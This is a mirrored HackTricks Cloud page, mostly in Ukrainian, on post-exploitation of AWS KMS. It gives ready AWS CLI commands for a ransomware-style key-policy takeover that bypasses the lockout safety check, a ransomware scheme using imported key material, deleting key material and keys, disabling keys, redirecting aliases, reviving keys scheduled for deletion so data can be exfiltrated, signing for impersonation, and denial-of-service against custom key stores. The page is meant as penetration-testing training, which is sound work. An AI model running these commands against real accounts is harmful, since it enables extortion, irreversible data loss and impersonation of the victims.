mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-20 08:30:41 -08:00
183 lines
11 KiB
Markdown
183 lines
11 KiB
Markdown
# AWS - KMS Post Exploitation
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
## KMS
|
||
|
||
Для додаткової інформації див.:
|
||
|
||
{{#ref}}
|
||
../../aws-services/aws-kms-enum.md
|
||
{{#endref}}
|
||
|
||
### Encrypt/Decrypt information
|
||
|
||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||
|
||
- `fileb://:` Читає файл у двійковому режимі, зазвичай використовується для нетекстових файлів.
|
||
- `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, що не має спеціальних вимог кодування.
|
||
|
||
> [!TIP]
|
||
> Зверніть увагу, якщо ви хочете розшифрувати дані у файлі, файл має містити двійкові дані, а не base64-кодовані дані. (fileb://)
|
||
|
||
- Using a **symmetric** key
|
||
```bash
|
||
# Encrypt data
|
||
aws kms encrypt \
|
||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||
--plaintext fileb:///tmp/hello.txt \
|
||
--output text \
|
||
--query CiphertextBlob | base64 \
|
||
--decode > ExampleEncryptedFile
|
||
|
||
# Decrypt data
|
||
aws kms decrypt \
|
||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||
--output text \
|
||
--query Plaintext | base64 \
|
||
--decode
|
||
```
|
||
- Використання **асиметричного** ключа:
|
||
```bash
|
||
# Encrypt data
|
||
aws kms encrypt \
|
||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||
--plaintext fileb:///tmp/hello.txt \
|
||
--output text \
|
||
--query CiphertextBlob | base64 \
|
||
--decode > ExampleEncryptedFile
|
||
|
||
# Decrypt data
|
||
aws kms decrypt \
|
||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||
--output text \
|
||
--query Plaintext | base64 \
|
||
--decode
|
||
```
|
||
### KMS Ransomware
|
||
|
||
Зловмисник із привілеями в KMS може змінити KMS policy ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису.
|
||
|
||
Внаслідок цього користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створивши простий, але ефективний ransomware проти облікового запису.
|
||
|
||
> [!WARNING]
|
||
> Зверніть увагу, що **AWS managed keys aren't affected** цією атакою — уражаються лише **Customer managed keys**.
|
||
|
||
> Також зауважте, що потрібно використовувати параметр **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в web console робить цю атаку можливою лише через CLI).
|
||
```bash
|
||
# Force policy change
|
||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||
--policy-name default \
|
||
--policy file:///tmp/policy.yaml \
|
||
--bypass-policy-lockout-safety-check
|
||
|
||
{
|
||
"Id": "key-consolepolicy-3",
|
||
"Version": "2012-10-17",
|
||
"Statement": [
|
||
{
|
||
"Sid": "Enable IAM User Permissions",
|
||
"Effect": "Allow",
|
||
"Principal": {
|
||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||
},
|
||
"Action": "kms:*",
|
||
"Resource": "*"
|
||
}
|
||
]
|
||
}
|
||
```
|
||
> [!CAUTION]
|
||
> Зверніть увагу, що якщо ви зміните цю політику й дасте доступ лише зовнішньому акаунту, а потім із цього зовнішнього акаунта спробуєте встановити нову політику, щоб **повернути доступ до початкового акаунту, ви не зможете, оскільки дію Put Polocy неможливо виконати з cross account**.
|
||
|
||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Generic KMS Ransomware
|
||
|
||
Існує інший спосіб реалізації глобального KMS Ransomware, який включає такі кроки:
|
||
|
||
- Створити новий **ключ із матеріалом ключа**, імпортованим атакуючим
|
||
- **Перешифрувати старі дані** жертви, зашифровані попередньою версією, новою
|
||
- **Видалити KMS key**
|
||
- Тепер лише атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
|
||
|
||
### Видалення ключів через kms:DeleteImportedKeyMaterial
|
||
|
||
Маючи дозвіл `kms:DeleteImportedKeyMaterial`, діяч може видалити імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною та незворотною, якщо сумісний матеріал не буде повторно імпортовано, дозволяючи атакуючому фактично спричинити ransomware-like втрату даних, зробивши зашифровану інформацію постійно недоступною.
|
||
```bash
|
||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||
```
|
||
### Знищення ключів
|
||
|
||
Знищення ключів може спричинити DoS.
|
||
```bash
|
||
# Schedule the destoy of a key (min wait time is 7 days)
|
||
aws kms schedule-key-deletion \
|
||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||
--pending-window-in-days 7
|
||
```
|
||
> [!CAUTION]
|
||
> Зауважте, що AWS тепер **запобігає виконанню попередніх дій з іншого акаунту:**
|
||
|
||
### Змінити або видалити Alias
|
||
Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключа і спричиняючи негайні збої в сервісах, які покладаються на ці aliases, що призводить до відмови в обслуговуванні. Маючи дозволи на зразок `kms:DeleteAlias` або `kms:UpdateAlias`, зловмисник може видалити або перенаправити aliases і порушити криптографічні операції (наприклад, encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може перестати працювати, поки alias не буде відновлено або правильно повторно зіставлено.
|
||
```bash
|
||
# Delete Alias
|
||
aws kms delete-alias --alias-name alias/<key_alias>
|
||
|
||
# Update Alias
|
||
aws kms update-alias \
|
||
--alias-name alias/<key_alias> \
|
||
--target-key-id <new_target_key>
|
||
```
|
||
### Cancel Key Deletion
|
||
Маючи дозволи на кшталт `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і згодом знову його увімкнути. Це відновлює ключ (спочатку у Disabled стані) та повертає можливість розшифровувати раніше захищені дані, що дозволяє exfiltration.
|
||
```bash
|
||
# Firts cancel de deletion
|
||
aws kms cancel-key-deletion \
|
||
--key-id <Key_ID>
|
||
|
||
## Second enable the key
|
||
aws kms enable-key \
|
||
--key-id <Key_ID>
|
||
```
|
||
### Вимкнення ключа
|
||
Маючи дозвіл `kms:DisableKey`, зловмисник може вимкнути AWS KMS customer master key, перешкоджаючи його використанню для encryption або decryption. Це порушує доступ для будь-яких сервісів, що залежать від цього CMK, і може спричинити негайні перебої або denial-of-service, доки ключ не буде знову увімкнено.
|
||
```bash
|
||
aws kms disable-key \
|
||
--key-id <key_id>
|
||
```
|
||
### Derive Shared Secret
|
||
Маючи дозвіл `kms:DeriveSharedSecret`, актор може використати приватний ключ, що зберігається в KMS, разом із наданим користувачем публічним ключем для обчислення спільної таємниці ECDH.
|
||
```bash
|
||
aws kms derive-shared-secret \
|
||
--key-id <key_id> \
|
||
--public-key fileb:///<route_to_public_key> \
|
||
--key-agreement-algorithm <algorithm>
|
||
```
|
||
### Імперсонація через `kms:Sign`
|
||
Маючи дозвіл `kms:Sign`, зловмисник може використати збережений у KMS CMK для криптографічного підпису даних без розкриття приватного ключа, створюючи дійсні підписи, що можуть дозволити імперсонацію або авторизувати шкідливі дії.
|
||
```bash
|
||
aws kms sign \
|
||
--key-id <key-id> \
|
||
--message fileb://<ruta-al-archivo> \
|
||
--signing-algorithm <algoritmo> \
|
||
--message-type RAW
|
||
```
|
||
### DoS with Custom Key Stores
|
||
Маючи дозволи на кшталт `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), зробивши його основні ключі непрацездатними. Це порушує операції шифрування, дешифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Отже, критично важливо обмежувати та моніторити ці дозволи.
|
||
```bash
|
||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||
|
||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||
|
||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||
```
|
||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|